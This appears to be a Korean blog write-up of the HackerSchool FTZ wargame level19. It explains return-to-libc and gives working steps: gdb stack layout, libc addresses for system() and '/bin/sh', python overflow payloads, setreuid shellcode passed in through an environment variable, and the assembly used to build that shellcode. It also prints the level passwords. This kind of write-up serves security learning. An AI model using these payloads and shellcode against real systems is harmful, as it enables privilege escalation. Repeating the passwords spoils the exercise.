login as : level19
password : swimming in pink
Aleph One이 "Smashing The Stack For Fun And Profit"이라는 문서를 발표한 이후, bof 공격이 좀 더 보편화됐고, 이에 따라 bof 취약점에 대한 인식이 널리 퍼지면서 bof를 차단하는 기법들도 발표됐다.
대표적으로 스택가드(Stack Guard), 보안 쿠기(Security Cookie), 실행 차단 메모리(Non-Executable Memory), 주소 난독화(ASLR, Address Space Layout Randomization)를 비롯해 입력받는 문자열의 길이를 오버플로우되지 않도록 제한하는 보안(Secure Coding) 등 다양한 대비책들이 있다.
하지만 해킹의 힘은 어떤 문제를 방어하기 위해 나온 대책들을 끊임없이 우회하는 방법을 찾는 데 있기 때문에 해커들은 지속적인 분석과 연구로 차단된 해킹 환경을 우회하는 방법을 계속해서 찾아내고 있고, 그 중 대표적인 기법이 RTL(Return To Libc, 공유 라이브러리를 이용한 bof 방법) 기법이다.
이런 고급 bof 공격은 당연히 포인터를 이용한 메모리의 읽기와 쓰기에 능숙해야한다.
C언어에서 포인터 연산자를 이용하면 메모리를 자유롭게 옮겨 다닐 수 있다.
RTL 공격을 하기 전에 한 가지 알아둬야 하는 점이 있는데 그건 바로 RET 주소와 인자의 순서이다.
RET 주소가 스택에 push 되기 전에 함수의 인자가 스택에 먼저 push 되어 있다.
이 순서를 알아둬야 하는 이유는 RTL 공격에서 인자를 어떻게 전달해야 하는지 알아야 하기 때문이다.
RTL 공격은 특정 메모리의 주소를 원하는 값으로 바꿀 수 있다는 bof의 응용이다.
낮은 주소 | 256byte | 4byte | 4byte | 4byte | 높은 주소 |
char str[256] | SFP | RET | .... | ||
"AAAA" |
이전 bof 관련 level들에서는 위와 같은 개념도에서 RET 주소만 실행시키고자 하는 실행 코드가 있는 주소로 바꿨지만, 지금까지와는 다르게 셸코드를 올릴 수 있는 공간이 제공되지 않는 상황이라도 방법을 바꾸면 공격할 수 있다.
RTL 공격을 가능하게 하려면 RET 주소를 공유 라이브러리에 있는 system() 함수의 주소로 바꾸면 된다.
하지만 system() 함수는 /bin/sh와 같은 프로그램을 인자로 전달해야 하기 때문에 정확한 위치에 인자를 전달해야만 한다.
낮은 주소 | 256byte | 4byte | 4byte | 4byte | 4byte | 4byte | 높은 주소 |
char str[256] | SFP | RET | .... | .... | |||
"AAAA" | &system() | RET | &"/bin/sh" |
낮은 주소 | ||
256byte | char str[256] | "AAAA" |
4byte | SFP | |
4byte | RET | &system() |
4byte | .... | RET |
4byte | .... | &"/bin/sh" |
4byte | ||
높은 주소 |
RET 주소를 system() 함수로 바꾸고 /bin/sh라는 인자까지 전달하는 공격 방법을 표로 나타내면 위와 같다.
위와 같이 스택을 정확하게 덮어쓴다면 취약점을 가진 프로그램의 함수가 끝나는 RET 주소에서 system() 함수가 실행될 것이고, 이때 실행되는 system() 함수는 8byte 앞에 push 돼 있는 스택의 값인 "/bin/sh"라는 문자열을 인자로 인식해서 실행할 것이기 때문에 system("/bin/sh") 함수가 실행되어 결국 배시셸을 얻을 수 있게 된다.
그리고 RET 주소에 들어갈 system() 함수의 주소와 system() 함수의 인자가 될 "/bin/sh" 문자열의 주소가 있는 스택 사이에 RET 주소는 system() 함수가 종료되고 return 할 주소인데, 배시셸이 떨어지는 시점에서는 사실상 의미가 없어지므로 아무 값이나 넣어도 된다.
level19 문제 파악
hint 파일에 제시된 코드를 보면 20byte를 입력받아 화면에 출력하려는 의도겠지만, 입력 문자열의 크기를 검사하지 않기 때문에 bof 취약점이 존재한다.
그리고 소스코드에 setreuid()함수 부분이 없다.
그렇기 때문에 다음 level의 권한을 얻을 수 있도록 setreuid() 함수가 포함된 셸코드를 사용해야 한다.
스택 구조 확인
cp attackme tmp
cd tmp
gdb -q attackme
set disassembly-flavor intel
disas main
bof 공격을 하기 위해서는 dummy 공간이나 지역 변수를 위한 공간으로 얼마나 할당했는지 확인해야 하므로 문제 파일을 디스어셈블 한 뒤 procedure prelude(함수 프롤로그) 부분을 보면 지역 변수의 공간으로 0x28(40)byte를 확보한다.
실제로 메모리 스택이 그렇게 구성돼 있는지 확인해보기 위해 0x08048461 주소에 bp를 걸고 실행한 다음 "AAAAAAAA"를 입력해준 다음 스택을 확인해보면 위와 같다.
$esp+0x10인 주소를 본 이유는 0x10은 10진수로 16이고, printf() 함수를 호출하려는 직전에 bp에 걸렸으므로 printf() 함수 인자 두 개가 스택에 있으므로 8byte에 디스어셈블리 코드에서 0x08048455 주소에서 스택을 8byte 확보하므로 현재 esp 위치에서 16byte를 더한 주소가 buf의 주소가 된다.
그렇다면 40byte + 4byte(SFP)한 44byte를 덮어써야 RET 주소 부분에 원하는 주소를 쓸 수 있다는 것이다.
RTL 공격
ldd attackme
위의 명령으로 ASLR이 걸려있는지 확인하여 걸려있지 않다는 것을 확인해준 뒤
(두번 이상 실행했을 때 값이 같으면 ASLR이 안 걸려있는 것이다.)
nm /lib/tls/libc.so.6 | grep system
nm 명령과 grep 명령으로 라이브러리 함수들 중 system 함수의 주소를 찾는다.
(0x4203f2c0이다.)
strings -tx /lib/tls/libc.so.6 | grep /bin/sh
그리고 이어서 strings 명령과 grep 명령을 이용해 /bin/sh 문자열이 있는 주소를 알아온다.
주소가 127ea4 라고 되어 있는데 이는 기준 주소에서의 offset 값으로 0x42000000 주소에 0x127ea4 주소를 더해 0x42127ea4 주소이다.
(python -c 'print "a" * 44 + "\xc0\xf2\x03\x42" + "bbbb" + "\xa4\x7e\x12\x42"'; cat) | ./attackme
위와 같이 공격 스크립트를 작성해서 공격하면 셸이 떨어지긴 하나 setreuid() 함수가 없기 때문에 level19의 셸이 떨어지게 된다.
RTL 공격은 이런 식으로 이뤄진다라고 개념만 익혀둔다.
환경 변수를 이용해 공격
level19 문제를 해결하기 위해 환경 변수를 이용한다.
export shellcode=`printf "\x66\xbb\x1c\x0c\x66\xb9\x1c\x0c\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"`
echo $shellcode
위와 같이 환경 변수에 setreuid() 함수가 포함된 셸코드를 등록해준 뒤
cd tmp
vi getenvaddr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char *ptr;
if(argc < 3) {
printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* get env var location */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
printf("%s will be at %p\n", argv[1], ptr);
}
gcc -o getenvaddr getenvaddr.c
tmp 디렉토리로 이동해 getenvaddr.c 파일에 위와 같이 코드를 적어준 후 컴파일한다.
./getenvaddr shellcode ./attackme
그리고 나서 위와 같이 실행하여 shellcode 환경 변수의 주소 0xbfffff2a를 구한다.
(python -c 'print "a" * 44 + "\x2a\xff\xff\xbf"'; cat) | ./attackme
최종적으로 위와 같이 공격 스크립트를 작성해 bof 공격을 하면 level20 권한의 셸을 딸 수 있고, level20의 password는 we are just regular guys 이다.
ETC. setreuid(3100,3100) 함수를 셸코드로 만들기
32bit | 16bit | 상위 8bit | 하위 8bit | 용도 |
EAX | AX | AH | AL | 연산, 시스템 콜 함수 번호 |
EBX | BX | BH | BL | 함수의 인자 |
ECX | CX | CH | CL | 반복문의 카운트, 함수 인자 |
EDX | DX | DH | DL | 입출력 번지 지정, 함수 인자 |
위의 표를 보면 레지스터들이 있는데, 함수 인자에 이용되는 레지스터들이다.
1. 함수의 system call 번호 확인
2. 어셈블리어 코드 완성
3. 어셈블리어의 코드를 바이너리로 컴파일
4. objdump 프로그램을 이용해 opcode를 추출
5. 16진수 타입으로 문자열을 변경하고 연결
위의 순서는 셸코드를 만드는 방법이다.
위의 순서대로 진행해본다.
cat /usr/include/asm/unistd.h | grep setreuid
/usr/include/asm/unistd.h 파일에서 setreuid() 함수의 시스템 콜 번호가 70이라는 것을 확인할 수 있다.
cd tmp
vi setreuid.s
.globl _start
_start:
mov $0xc1c, %bx ; 인자(3100)를 레지스터에 저장
mov $0xc1c, %cx ; 인자(3100)를 레지스터에 저장
xor %eax, %eax ; EAX 레지스터 초기화
movb $70, %al ; setreuid() 함수 호출
int $0x80
인자를 먼저 레지스터에 전달하고, 함수를 호출한다.
이렇게 하면 setreuid(3100, 3100) 함수가 실행된다.
위와 같이 as로 어셈블리어로 된 코드를 오브젝트 파일로 만들고, ld로 오브젝트 파일을 실행 파일로 만든다.
위와 같이 objdump로 실행파일에서 opcode를 추출한다.
\x66\xbb\x1c\x0c\x66\xb9\x1c\x0c\x31\xc0\xb0\x46\xcd\x80
추출한 opcode를 16진수 형태로 바꾸는 것은 위와 같이 opcode 앞에 '\x' 문자열을 붙이는 것이다.
이렇게 하여 setreuid(3100,3100)에 해당하는 shellcode를 생성했다.
'전쟁 > hackerschool ftz' 카테고리의 다른 글
[hackerschool FTZ] level20 (FSB 복습) (0) | 2024.01.11 |
---|---|
[hackerschool FTZ] level18 (포인터의 활용, bash shellscript 이용, 파일 디스크립터 관련 함수들) (0) | 2024.01.09 |
[hackerschool FTZ] level17 (함수 포인터 변조, bash shellscript) (0) | 2024.01.07 |
[hackerschool FTZ] level16 (함수 포인터 변조, bash shellscript, python script) (0) | 2024.01.05 |
[hackerschool FTZ] level15 루틴 분기 키 값(2) (0) | 2024.01.05 |